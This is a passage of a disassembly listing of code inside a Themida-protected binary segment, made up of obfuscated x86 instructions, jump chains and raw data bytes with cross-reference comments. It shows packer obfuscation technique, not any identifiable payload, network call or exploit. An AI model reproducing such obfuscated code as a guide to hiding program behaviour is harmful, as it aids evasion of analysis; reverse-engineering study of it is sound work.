		dd 0E9E95D5Bh, 58FFFF39h, 0FF3BE6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5163A9:				; CODE XREF: Themida_:0050D812j
		sub	[esp], ebp
		add	dword ptr [esp], 487668F1h
		pop	ebp
		jmp	loc_50E903
; ---------------------------------------------------------------------------
		db 81h,	0E6h, 0E0h
		dd 814D3146h, 0ECECCC6h, 0E9F73123h, 0FFFFCA98h, 4246C81h
		dd 14C86CC7h, 4244C01h,	4244481h, 14C86CC7h, 381CBF57h
		dd 4481425Bh, 2CE0824h,	7C01793Ah, 6C810824h, 2CE0824h
		dd 20E9793Ah, 58FFFF43h, 8904EC83h, 0E0892404h,	0FEE7F2E9h
		dd 5AD501FFh, 815DE901h, 67C1B8E9h, 0E95053F6h,	0FFFFCDE0h
		dd 4240481h, 5F000000h,	0FFB352E9h, 81E589FFh, 4ECh, 241C8900h
		dd 1713BA52h, 0EA813827h, 51C92AF9h, 8105EAC1h,	518846C2h
		dd 5AD3893Fh, 8108EBC1h, 468473F3h, 0D239E900h,	0C330FFFEh
		dd 0FFC0B60Fh, 34FF8734h, 24048B24h, 7EDA68h, 611FE900h
		dd 4159FFFFh, 0E181D9F7h, 6FD74F12h, 61CE9h
		db 0
; ---------------------------------------------------------------------------


loc_516485:				; CODE XREF: Themida_:0050C8C6j
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_510DAF
; ---------------------------------------------------------------------------
		dd 8904EC83h, 9AE9243Ch, 46FFFEE4h, 0FFB4CFE9h,	24348BFFh
		dd 81E18951h, 4C1h, 4BE5600h, 0E9000000h, 0FFFF9701h
; ---------------------------------------------------------------------------


loc_5164C4:				; CODE XREF: Themida_:00509AEAj
		push	dword ptr [esp]
		jmp	loc_50E20B
; ---------------------------------------------------------------------------


loc_5164CC:				; CODE XREF: Themida_:00511F9Dj
		pop	eax
		pop	dword ptr [esp]
		jmp	loc_502BCF
; ---------------------------------------------------------------------------


loc_5164D5:				; CODE XREF: Themida_:0050FDCDj
		add	edx, edi
		push	eax
		push	ebx
		jmp	loc_514321
; ---------------------------------------------------------------------------


loc_5164DE:				; CODE XREF: Themida_:00515801j
		mov	ebp, 20000h
		and	eax, ebp
		jmp	loc_5133D7
; ---------------------------------------------------------------------------
		dw 3C31h
		dd 243C3324h, 0FFB975E9h, 240C8BFFh, 3304C483h,	14312414h
		dd 24143324h, 6424248Bh, 0FE90288h, 0C1FFFF25h,	0D6F708E6h
		dd 9937C681h, 0F1297DE1h, 0FFF5E1E9h, 243C33FFh, 0FFE941E9h
		dd 52D829FFh, 2A04C6BAh, 5469E91Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_516536:				; CODE XREF: Themida_:00502B68j
		add	bl, al
		jmp	loc_50BAEB
; ---------------------------------------------------------------------------
		db 59h,	0E9h, 0A8h
		dd 59FFFF25h, 0FFAAB7E9h
		db 0FFh
byte_516549	db 68h,	0DAh, 0		; DATA XREF: Themida_:0050287Co
		dd 45E90000h, 5200000Fh, 124A6ABAh, 65BF2D72h, 0D02958ABh
		dd 0AB65BF05h, 24148B58h, 4C481h, 0E9510000h, 0FFFFB950h
dword_516574	dd 24048B66h, 0E904EC83h, 0FFFEF854h, 44E9C329h
					; DATA XREF: Themida_:00502828o
		db 0C8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_516587:				; CODE XREF: Themida_:0050D247j
		mov	esp, [esp]
		mov	[esp], ebp
		jmp	loc_511CDD
; ---------------------------------------------------------------------------
		dw 480h
		dd 2C28DE24h, 242C8024h, 242C8ADEh, 5604C483h, 8E9E689h
		dd 5CFFFFF9h, 89241C89h, 4C381E3h, 50000000h, 840E36B8h
		dd 7F670523h, 0D8F75D58h, 5938F835h, 0B8DCE92Dh, 0EC83FFFFh
		dd 242C8904h, 6C5C68h, 24348900h, 0FF2871E9h, 0E9F188FFh
		dd 18A2h, 115868h, 241C8900h, 0E3C0A0B3h, 16D7E902h, 5660000h
		dd 2D6606ACh, 9AE9465Eh, 0E9FFFFE4h, 0FFFEC4BFh, 0CF1DE952h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_516612:				; CODE XREF: Themida_:0050F3E7j
		mov	edi, 81A15E3Ah
		sub	ebp, edi
		pop	edi
		sub	edx, 1B6A4233h
		jmp	loc_50D08C
; ---------------------------------------------------------------------------


loc_516625:				; CODE XREF: Themida_:0050C681j
		cmp	eax, edx
		jz	loc_5178A0
		push	74A7h
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_50979D
; ---------------------------------------------------------------------------


loc_51664B:				; CODE XREF: Themida_:0050543Aj
		mov	ebp, 4
		jmp	loc_504C45
; ---------------------------------------------------------------------------


loc_516655:				; CODE XREF: Themida_:0050E505j
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		push	69Ah
		mov	[esp], eax
		push	49C8h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		push	ebp
		mov	ebp, 2EAA7C7Ah
		shl	ebp, 1
		jmp	loc_50DDFC
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 0D09DE904h, 0EA81FFFFh, 1D252F21h, 57F0EA81h, 3C8B686Ah
		dd 4C48324h, 0FF563BE9h, 8EDC1FFh, 0A2DFE956h, 6858FFFFh
		dd 4371h, 0BB241C89h, 50823485h, 7E9DA01h, 51FFFEDFh, 0E06FB9B9h
		dd 62C18140h, 29F39DEAh, 0FE67E9CFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5166D6:				; CODE XREF: Themida_:005139FAj
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_517A94
; ---------------------------------------------------------------------------
		db 0C1h, 0EEh, 2
		dd 6DBB53h, 0EB811CA7h,	162E162Dh, 0EBD4E94Bh, 0FF58FFFEh
		dd 505F2434h, 0FF2556E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_516701:				; CODE XREF: Themida_:00508D05j
		pop	edx
		jmp	loc_5146E2
; ---------------------------------------------------------------------------
		db 81h
		dd 4C7h, 243C8700h, 66C3315Ch, 8324148Bh, 3C8904ECh, 4A1D6824h
		dd 24890000h, 0E3895324h, 4C381h, 0EB830000h, 241C8704h
		dd 0A464E95Ch, 0C221FFFFh, 0FF8A16E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_516741:				; CODE XREF: Themida_:0051138Cj
		mov	ecx, 0DFF2473h
		not	ecx
		sub	ecx, 0B6E3BC72h
		push	esi
		mov	esi, 7576765Ah
		add	ecx, esi
		pop	esi
		dec	ecx
		shl	ecx, 1
		sub	esp, 4
		mov	[esp], edi
		push	ebp
		mov	ebp, 9ED8D51Eh
		jmp	loc_50BA15
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 4, 4F7FED81h, 0F5017444h, 4F7FC581h,	0E95E7444h, 0FFFEE53Ah
		dd 24148B66h, 0C8B5451h, 0D032E924h, 0E959FFFFh, 0FFFFE870h
		dd 81E78957h, 4C7h, 64BE900h, 0C89FFFFh, 4CC66824h, 24890000h
		dd 4BA5224h, 1000000h, 5A042454h, 0FED2BAE9h, 0E95E54FFh
		dd 0FFFFFB6Eh, 0D6868h,	243C8900h, 4BDF6851h, 97E957C3h
		dd 81FFFFFCh, 15BD82C3h, 5BD9894Bh, 0A7E9CE31h,	68FFFFFFh
		dd 1C42h, 89240489h, 4BD55E0h, 1000000h, 0C0835DE8h, 74FF5004h
		dd 8F580424h, 0E95C2404h, 0FFFFF1C9h, 286FC380h, 6FEB80C3h
		dd 50A4C380h, 535291B4h, 0AE9DFB3h, 55FFFFD7h, 81E28952h
		dd 4C2h, 4EA8100h, 87000000h, 545C2414h, 8124048Fh, 42404h
		dd 34FF0000h, 0C4835D24h, 4EC8104h, 89000000h, 4B9240Ch
		dd 81000000h, 9A56AAC5h, 50ED817Ch, 12BDB61h, 50C581CDh
		dd 0E92BDB61h, 0FFFEEC1Bh, 114CEE81h, 0F68152DDh, 486A1EEEh
		dd 8106EEC1h, 906A4DE6h, 81DEF717h, 84AFA8EEh, 5EF001A8h
		dd 502DC801h, 59567B50h, 2474FF50h, 8CD3E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5168AA:				; CODE XREF: Themida_:005173CDj
		push	ebx
		jmp	loc_50B507
; ---------------------------------------------------------------------------
		dd 685FF901h, 3C3h, 0FF240C89h,	59042474h, 8B24048Fh, 5BE92424h
		db 0F5h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5168CB:				; CODE XREF: Themida_:005108B1j
		mov	ecx, 4
		jmp	loc_50AE9D
; ---------------------------------------------------------------------------


loc_5168D5:				; CODE XREF: Themida_:005102EAj
		push	edi
		mov	edi, 4
		sub	edx, 73340498h
		sub	edx, edi
		jmp	loc_50E52B
; ---------------------------------------------------------------------------
		dd 0CB3CAB2Dh, 0E9C2295Fh, 0FFFED00Ch
; ---------------------------------------------------------------------------


loc_5168F4:				; CODE XREF: Themida_:00508564j
		pop	esi
		add	esp, 4
		xchg	esi, edi
		not	esi
		xor	edi, esi
		xor	esi, edi
		xor	edi, esi
		add	edi, 1
		jmp	loc_512F2C
; ---------------------------------------------------------------------------
		dd 3098B450h, 24048BE2h, 0FF1836E9h, 8EE950FFh
		db 93h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_516923:				; CODE XREF: Themida_:00504789j
		pop	edi
		shr	ecx, 7
		push	ebp
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		push	eax
		jmp	loc_5176A9
; ---------------------------------------------------------------------------
dword_516938	dd 240C8B66h, 0FFF8C2E9h, 0FFC331FFh, 0C181E930h, 0E956FFFEh
					; DATA XREF: Themida_:00502950o
		dd 0FFFF114Dh, 15EF089h, 24048BC2h, 4C481h, 94E90000h
		db 0DCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_516963:				; CODE XREF: Themida_:00505C44j
		mov	edi, 3C50770Fh
		shr	edi, 3
		dec	edi
		sub	edi, 78A0EDCh
		add	ebp, edi
		pop	edi
		sub	ebp, 4
		jmp	loc_51129B
; ---------------------------------------------------------------------------
		dd 4C381h, 0C3810000h, 4, 5C241C87h, 4BF57h, 0D6E90000h
		db 48h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51699B:				; CODE XREF: Themida_:00513A6Cj
		xor	edi, [esp]
		pop	esp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_504F85
; ---------------------------------------------------------------------------


loc_5169B0:				; CODE XREF: Themida_:00508380j
		push	2CC2h
		mov	[esp], ebp
		jmp	loc_50686B
; ---------------------------------------------------------------------------
byte_5169BD	db 81h,	0ECh, 4		; DATA XREF: Themida_:005028ECo
		dd 89000000h, 0A1682414h, 89000062h, 64E9240Ch
		db 0F0h, 0FEh, 0FFh
byte_5169D3	db 66h			; DATA XREF: Themida_:005028B0o
		db 8Bh,	0Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, 4
		add	ebp, 79651FAAh
		jmp	loc_50FDF5
; ---------------------------------------------------------------------------
		db 55h
		dd 0C5815D54h, 4, 0FFAC30E9h, 8E3C1FFh,	95E95352h, 29FFFF40h
		dd 529D05D8h, 53E91FCCh, 56FFFF65h, 0FF1401E9h,	0C8B54FFh
		dd 4C48124h, 81000000h,	4C1h, 2C18300h,	2474FF51h, 20E3E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_516A32:				; CODE XREF: Themida_:005117CEj
		pop	edi
		shl	eax, 1
		and	eax, 5E2E3316h
		xor	eax, 31CF3ED7h
		xor	edx, eax
		pop	eax
		push	2597h
		mov	[esp], edx
		not	dword ptr [esp]
		pop	edx
		xor	edx, 6FC91662h
		jmp	loc_508276
; ---------------------------------------------------------------------------
		db 89h,	0E3h, 57h
		dd 0C781E789h, 4, 4EF81h, 20E90000h, 81FFFF6Eh,	831CC4CBh
		dd 0BFEB8175h, 81F5D82Bh, 837392C1h, 56D92914h,	0FF603BE9h
		dd 51EB01FFh, 7B65EFB9h, 0E9CB2968h, 0FFFECFABh, 4BFFC383h
		dd 0FF8A00E9h, 17E981FFh, 89F4CAFFh, 748EE9CFh,	0C481FFFFh
		dd 4, 0FF2A40E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_516AB9:				; CODE XREF: Themida_:00511099j
		sub	ah, cl
		pop	ecx
		jmp	loc_515D50
; ---------------------------------------------------------------------------


loc_516AC1:				; CODE XREF: Themida_:005109D1j
		pop	edx
		pop	ebp
		xchg	ebx, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		sar	dword ptr [esp], cl
		pushf
		jmp	loc_502ACB
; ---------------------------------------------------------------------------


loc_516AD6:				; CODE XREF: Themida_:00511230j
		xchg	edx, [esp]
		jmp	loc_50CE54
; ---------------------------------------------------------------------------
		dw 0F5BBh
		dd 0F756D57Dh, 55B850D3h, 290DBC49h, 0DBF758C3h, 559968h
		dd 243C8900h, 0ED1A44BFh, 0DCF7810Fh, 0E93D5317h, 0FFFFCB9Fh
		dd 8B242C33h, 0D3662424h, 0E99C2424h, 0FFFEBFB3h, 0C581C501h
		dd 2CEC1834h, 8124048Bh, 4C4h, 242C3300h, 33242C31h, 248B242Ch
		dd 0FCE6E924h, 0BE56FFFEh, 298B346Bh, 348BF001h, 8270E924h
		dd 2489FFFFh, 24048124h, 4, 0E9243C8Bh,	0FFFFEAEAh
; ---------------------------------------------------------------------------


loc_516B5C:				; CODE XREF: Themida_:00508C02j
		xor	eax, ebx
		pop	ebx
		jmp	loc_5129E2
; ---------------------------------------------------------------------------


loc_516B64:				; CODE XREF: Themida_:0050B6D1j
		pop	ebp
		add	[esp+4], ebp
		mov	ebp, [esp]
		add	esp, 4
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 40F5453Dh
		push	ebx
		mov	ebx, 63991851h
		jmp	loc_51102C
; ---------------------------------------------------------------------------


loc_516B94:				; CODE XREF: Themida_:005157DFj
		mov	[esp], ebp
		mov	ebp, 5628755Eh
		shr	ebp, 1
		not	ebp
		and	ebp, 24D26F21h
		jmp	loc_515194
; ---------------------------------------------------------------------------
		db 46h
		dd 54FAE681h, 0EE814720h, 13DF6A2Dh, 5E18F681h,	0F131BEFEh
		dd 0FFD519E9h, 91E953FFh
		db 9, 2	dup(0)
; ---------------------------------------------------------------------------


loc_516BCB:				; CODE XREF: Themida_:00509779j
		sub	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_50C2F0
; ---------------------------------------------------------------------------


loc_516BDB:				; CODE XREF: Themida_:0051194Bj
		inc	cl
		dec	cl
		push	ecx
		jmp	loc_5106E6
; ---------------------------------------------------------------------------
		db 5Ah,	0F6h, 0D9h
		dd 0FF7C7FE9h, 2EE95FFFh, 80FFFF95h, 0F8207AEFh, 0FFAC75E9h
		dd 4EC83FFh, 0FF240C89h, 59042474h, 0E924048Fh,	0FFFFE0A4h
; ---------------------------------------------------------------------------


loc_516C10:				; CODE XREF: Themida_:0050C6FCj
		sub	esp, 4
		jmp	loc_5087C6
; ---------------------------------------------------------------------------


loc_516C1B:				; CODE XREF: Themida_:0050A0B5j
		push	eax
		jmp	loc_515DBB
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 75h
		dd 8924FF3Ch, 0D3F759CBh, 0E381EBD1h, 172A74DFh, 7348CB81h
		dd 0C3817F3Eh, 9D2BA636h, 6BE9D831h, 89FFFFC8h,	0C30FE9E5h
		dd 5BBBFFFEh, 0E9282458h, 0FFFECC98h, 8304C483h, 0C9E904ECh
		dd 89FFFF97h, 0BCB22414h, 4EC81h, 14890000h, 5074B224h
		dd 0C788D088h, 8124048Bh, 4C4h,	0E7C05A00h, 0A0B55106h
		dd 283EB652h, 0C1B4E9F5h, 0CB80FFFEh, 12B652B8h, 98E9F308h
		dd 1FFFF57h, 79E959C8h,	55FFFED1h, 4BDh, 0B5E98100h, 1389C3Fh
		dd 0B5C181E9h, 5D389C3Fh, 46853h, 0E95B0000h, 0FFFEE6F7h
; ---------------------------------------------------------------------------


loc_516CC8:				; CODE XREF: Themida_:00514C92j
		or	esi, 68BB0D83h
		push	esi
		dec	dword ptr [esp]
		pop	esi
		shr	esi, 6
		shl	esi, 1
		add	esi, 3D6078Ch
		push	ebx
		mov	ebx, 41687215h
		xor	ebx, 46747399h
		xor	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_50A142
; ---------------------------------------------------------------------------


loc_516CF7:				; CODE XREF: Themida_:00505431j
		push	ecx
		mov	ch, bl
		sub	esp, 4
		mov	[esp], ebx
		mov	bl, ch
		jmp	loc_503B3B
; ---------------------------------------------------------------------------


loc_516D07:				; CODE XREF: Themida_:00510A6Bj
		mov	esi, 4
		add	ebx, esi
		jmp	loc_516FA9
; ---------------------------------------------------------------------------
		db 81h
		dd 0FFFFFFEBh, 18C381FFh, 1A25E59h, 1FD1E9DDh, 0C181FFFFh
		dd 4, 0EE568h, 243C8900h, 1979BA52h, 89537130h,	0E9DF89D3h
		dd 0FFFF14B0h
; ---------------------------------------------------------------------------


loc_516D44:				; CODE XREF: Themida_:0050928Cj
		pop	ebx
		add	edx, 0EFE0F9Ah
		jmp	loc_512133
; ---------------------------------------------------------------------------
		dd 2B8h, 0FFC30100h, 1DE92434h,	89FFFEF8h, 75BA52E6h, 8143F969h
		dd 39E207C2h, 2E2C108h,	0BBF28142h, 534C3B4Eh, 6554D6BBh
		dd 0E2F38117h, 0C158C92Ah, 0EB8107EBh, 83A8F5AEh, 15BDA31h
		dd 6685AD6h, 0E900004Dh, 0FFFEDA63h, 835AD601h,	0ADE904ECh
		dd 52FFFF25h, 0EEC0FEB6h, 0B6C68004h, 0E95AF188h, 954h
; ---------------------------------------------------------------------------


loc_516DB8:				; CODE XREF: Themida_:0050979Ej
		mov	[esp], ebx
		jmp	loc_50FBA2
; ---------------------------------------------------------------------------
		dd 4C481h, 0EC810000h, 4, 0B9240C89h, 2, 0FFA85DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_516DD9:				; CODE XREF: Themida_:0050910Dj
		sub	bl, 5Dh
		push	666Ah
		mov	[esp], ecx
		mov	cl, 0F8h
		sub	cl, 8Eh
		sub	cl, 0FFh
		add	cl, 3Dh
		push	0
		sub	[esp], cl
		mov	cl, [esp]
		jmp	loc_50EA7A
; ---------------------------------------------------------------------------
		db 5Eh
		dd 0EF81F701h, 14632957h, 767DE953h, 9B8FFFFh, 5455C1Bh
		dd 0C1794649h, 0E958C331h, 0FFFF5C8Fh
; ---------------------------------------------------------------------------


loc_516E20:				; CODE XREF: Themida_:0051457Aj
		mov	ebp, [esp]
		add	esp, 4
		push	eax
		pop	ebx
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], ecx
		push	esp
		pop	ecx
		push	ebp
		jmp	loc_516008
; ---------------------------------------------------------------------------
		db 9, 0DEh, 8Bh
		dd 0C483241Ch, 5E6C104h, 0FFABD4E9h, 242C89FFh,	66CD8966h
		dd 595DEE89h, 87CE8166h, 0AA5E953h, 3C870000h, 0F08FE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_516E6A:				; CODE XREF: Themida_:0050D326j
		mov	[esp], ebp
		push	7C47h
		mov	[esp], esi
		jmp	loc_5058C3
; ---------------------------------------------------------------------------
		dw 0F281h
		dd 0E48AE6CDh, 3995C581h, 0D529339Eh, 3995ED81h, 148B339Eh
		dd 1098E924h, 0CBDFFFFh, 0BA060934h, 6093410h, 0FF5D66E9h
		dd 6CC781FFh, 118E32Ah,	6CEF81F7h, 8B18E32Ah, 0C4832434h
		dd 0A0BD5504h, 3105FD5Fh, 0E7E95DEFh, 89FFFF1Ch, 5DBE9E1h
		dd 42D0000h, 87000000h,	0E95C2404h, 0FFFFCD2Fh,	5F8015Ch
		dd 26777BABh, 83243C8Bh, 0FE904C4h, 58FFFF80h, 405h, 4EC8300h
		dd 0BD242C89h, 4, 14216305h, 3DDA2D12h,	99E9568Ch
		db 0Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_516F0F:				; CODE XREF: Themida_:0050A882j
		mov	edx, 0B4061Fh
		add	edx, 0FF4BF9E5h
		add	ebp, edx
		jmp	loc_502FF8
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 4
		dd 81000000h, 4ECh, 24148900h, 0FF6468E9h, 36C181FFh, 2977AD02h
		dd 36E981D1h, 5A77AD02h, 2474FF51h, 0BE69E904h,	8153FFFFh
		dd 4ECh, 24148900h, 531E9h, 90C28100h, 8B748B3Ch, 2434FF02h
		dd 0FF8630E9h, 6A27BBFFh, 0BF570E26h, 67AA4405h, 0CF81DFF7h
		dd 463241BEh, 48A2E781h, 0CF810A71h, 54373CDh, 0B6C2C781h
		dd 6FE94B0Ah, 66FFFEF6h, 0E95DE901h, 0FFFFC93Ah
; ---------------------------------------------------------------------------


loc_516FA0:				; CODE XREF: Themida_:0051608Bj
		pop	esp
		pop	dword ptr [edi+24h]
		jmp	loc_513D84
; ---------------------------------------------------------------------------


loc_516FA9:				; CODE XREF: Themida_:00516D0Ej
		pop	esi
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		add	esp, 4
		shr	ecx, 6
		jmp	loc_512369
; ---------------------------------------------------------------------------
		db 59h,	89h, 0FAh
		dd 5F2434FFh, 0E904C483h, 0FFFF7464h
; ---------------------------------------------------------------------------


loc_516FD0:				; CODE XREF: Themida_:0050E277j
		push	esi
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		add	esp, 4
		pop	esi
		jmp	loc_502ACB
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 2823E924h, 0FD29FFFFh, 87F5815Fh, 814D6B2Bh,	20053CEEh
		dd 51EE2907h, 7F4380B9h, 0E1C14966h, 0E9814906h, 98B0DA83h
		dd 8B59CE01h, 0C483242Ch, 0C6815804h, 59397624h, 0EE81D601h
		dd 59397624h, 597ABD55h, 0EE29053Bh, 0EE815A5Dh, 0A773E3h
		dd 0C681C601h, 0A773E3h, 4BA2EE81h, 0BB532AA4h,	44F72461h
		dd 3C9BF381h, 0EE94C8Bh, 5AFFFF81h, 0FFF6D9E9h,	4C483FFh
		dd 0FEBA62E9h, 1AC181FFh, 0E9297B44h, 0FFFFA3DEh, 0B850h
		dd 0ABE90000h
		db 0E1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51707F:				; CODE XREF: Themida_:0050C0ECj
		push	ecx
		push	dword ptr [esp+4]
		jmp	loc_50E4E4
; ---------------------------------------------------------------------------
		db 55h,	57h, 0E9h
		dd 0FFFF8FC4h, 4C281h, 0BB530000h, 4, 0D80EA81h, 0D4E95E59h
		dd 5EFFFF0Dh, 701568h, 240C8900h, 8904EC83h, 0BD55243Ch
		dd 2, 242C8155h, 3FD07BEh, 0BEC7815Fh, 5D03FD07h, 0E95FF989h
		dd 0FFFF5551h, 18E9E089h, 80FFFEF4h, 0A0E921C6h, 8BFFFFC9h
		dd 0C481240Ch, 4, 3C8BF831h, 5B545324h,	4C381h,	0C3830000h
		dd 241C8704h, 0FF9274E9h, 0B9C1E9FFh, 0C481FFFEh, 4, 0FEC691E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_517115:				; CODE XREF: Themida_:00515C16j
		xor	ebp, [esp]
		pop	esp
		mov	[esp], eax
		push	4D13h
		mov	[esp], ebx
		push	30312F46h
		mov	ebx, [esp]
		add	esp, 4
		neg	ebx
		jmp	loc_512096
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 8B2414F7h, 0C4812434h, 4, 4EC8357h, 8B243489h, 0C481243Ch
		dd 4, 0E924348Bh, 0FFFF6CFBh, 513368h, 0D74FE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51716A:				; CODE XREF: Themida_:00502F2Ej
		mov	edx, 0C1D0817h
		sub	ebx, edx
		pop	edx
		sub	ebx, edx
		add	ebx, 0C1D0817h
		add	ebx, 2CB350F8h
		pop	edx
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		push	esi
		push	edx
		mov	edx, 203748h
		mov	esi, edx
		pop	edx
		push	eax
		push	6B476C9Bh
		pop	eax
		add	eax, 0CC6090D8h
		mov	ecx, eax
		jmp	loc_50FBDE
; ---------------------------------------------------------------------------


loc_5171A7:				; CODE XREF: Themida_:00512E5Fj
		mov	eax, 1E8602A5h
		inc	eax
		dec	eax
		sub	eax, 851D5C8h
		mov	edx, eax
		pop	eax
		jmp	loc_50C464
; ---------------------------------------------------------------------------
		db 0BEh
		dd 0B0766DCh, 0FECE6BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5171C5:				; CODE XREF: Themida_:00515C6Aj
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_502ACB
; ---------------------------------------------------------------------------
		dw 5768h
		dd 8900000Eh, 1DE9240Ch, 5DFFFF12h, 0FF395BE9h,	3E9C1FFh
		dd 0F708E1C1h, 81E950D9h, 81FFFFEDh, 1D45F1C2h,	2437E992h
		dd 2C89FFFFh, 5CF16824h, 0C890000h, 0E427E924h,	1705FFFEh
		dd 0E92CA16Ah, 0FFFF81A9h, 0E9CCF380h, 0FFFEEB3Ch, 539CC781h
		dd 0D729685Bh, 539CEF81h, 148B685Bh, 4C48324h, 3C8BF801h
		dd 4C48324h, 592434FFh,	51E08950h, 0FF0BFAE9h, 0A0E959FFh
		dd 89FFFFF9h, 49E9240Ch, 0FFFF91h, 4EC81D8h, 0E9000000h
		dd 0FFFF4314h, 24148966h, 0E99C5066h, 0FFFEB857h
; ---------------------------------------------------------------------------


loc_517274:				; CODE XREF: Themida_:0050FD81j
		not	edi
		push	ecx
		push	edi
		pop	ecx
		pop	edi
		jmp	loc_50A306
; ---------------------------------------------------------------------------
		db 1
		dd 8EE95DEEh
		db 52h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_517287:				; CODE XREF: Themida_:0051780Ej
		mov	edx, esp
		add	edx, 4
		push	2946h
		jmp	loc_5040A8
; ---------------------------------------------------------------------------


loc_517299:				; CODE XREF: Themida_:00506B51j
		add	esp, 4
		add	esp, 4
		sub	[edi+24h], ebx
		pop	ebx


loc_5172A3:				; CODE XREF: Themida_:005037F8j
		push	4CE4h
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], edx
		push	esp
		pop	edx
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_50DF78
; ---------------------------------------------------------------------------
		dw 315Dh
		dd 0BA24E9D0h, 0CC04FFFFh, 5152665Ah, 48B637B5h, 2DB05066h
		dd 806CEE80h, 0C628A4EEh, 80A4C680h, 58666CC6h,	0C680EE28h
		dd 240C8B2Dh, 4C481h, 27E90000h, 52FFFEE6h, 0E951EA88h
		dd 0FFFFC010h, 0C273F4BEh, 31EE8165h, 81333168h, 0EC42B9CEh
		dd 0C7CAE964h, 0E95BFFFFh, 0FFFF831Ah, 51241C8Bh, 0C181E189h
		dd 4, 8704C183h, 515C240Ch, 0BB53E189h,	7B70036Dh, 0E3E9DBF7h
		db 0D8h, 0FEh, 0FFh
byte_51734B	db 0FFh			; DATA XREF: Themida_:005029BCo
		dd 83582434h, 0EEE904ECh, 55FFFEC3h, 0FFA5F9E9h, 241C89FFh
		dd 0C381E389h, 4, 4C381h, 1C870000h, 86685C24h,	8900000Bh
		dd 0DD682414h, 83000012h, 248904ECh, 24048324h,	6C9E904h
		dd 0EA800000h, 5AD32822h, 0B151CBFEh, 99D7E9AEh, 0EC80FFFFh
		dd 58E230D9h, 0D5E9D088h, 66FFFF14h, 8890B151h,	2951E9CFh
		dd 34FFFFFFh, 6AAE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5173BE:				; CODE XREF: Themida_:0050F088j
		mov	eax, 244E64BFh
		or	eax, 129340D6h
		add	eax, 75C73E59h
		jmp	loc_5168AA
; ---------------------------------------------------------------------------


loc_5173D2:				; CODE XREF: Themida_:005037A1j
		dec	ecx
		add	ecx, 4BE20ACEh
		mov	edi, ecx
		pop	ecx
		jmp	loc_514BDD
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 268h, 0B299E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5173EE:				; CODE XREF: Themida_:0050DC1Bj
		push	ecx
		jmp	loc_505AAE
; ---------------------------------------------------------------------------
		dd 0B227C381h, 0DE31052Bh, 0EC83465Bh, 243C8904h, 0FECFEDE9h
		dd 4C281FFh, 83000000h,	148702EAh, 89665C24h, 0F66240Ch
		dd 5166C8B6h, 0B6A5E99Ch, 8B5CFFFEh, 0C481242Ch, 4, 0E906E7C1h
		dd 3E6h, 0F658C688h, 66F388D6h,	1BEB805Ah, 0FF2335E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_517449:				; CODE XREF: Themida_:00515FF8j
		push	esi
		push	edx
		jmp	loc_510115
; ---------------------------------------------------------------------------
		dd 4EC81h, 0DAE90000h
		db 79h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51745B:				; CODE XREF: Themida_:005142B4j
		mov	ebx, 266E0856h
		sub	ebx, 0FFFFFFFFh
		push	edi
		mov	edi, 61212Dh
		add	edi, 443AE983h
		xor	ebx, edi
		pop	edi
		xor	edi, ebx
		jmp	loc_5074D0
; ---------------------------------------------------------------------------


loc_517479:				; CODE XREF: Themida_:00509383j
		not	edx
		jmp	loc_509482
; ---------------------------------------------------------------------------
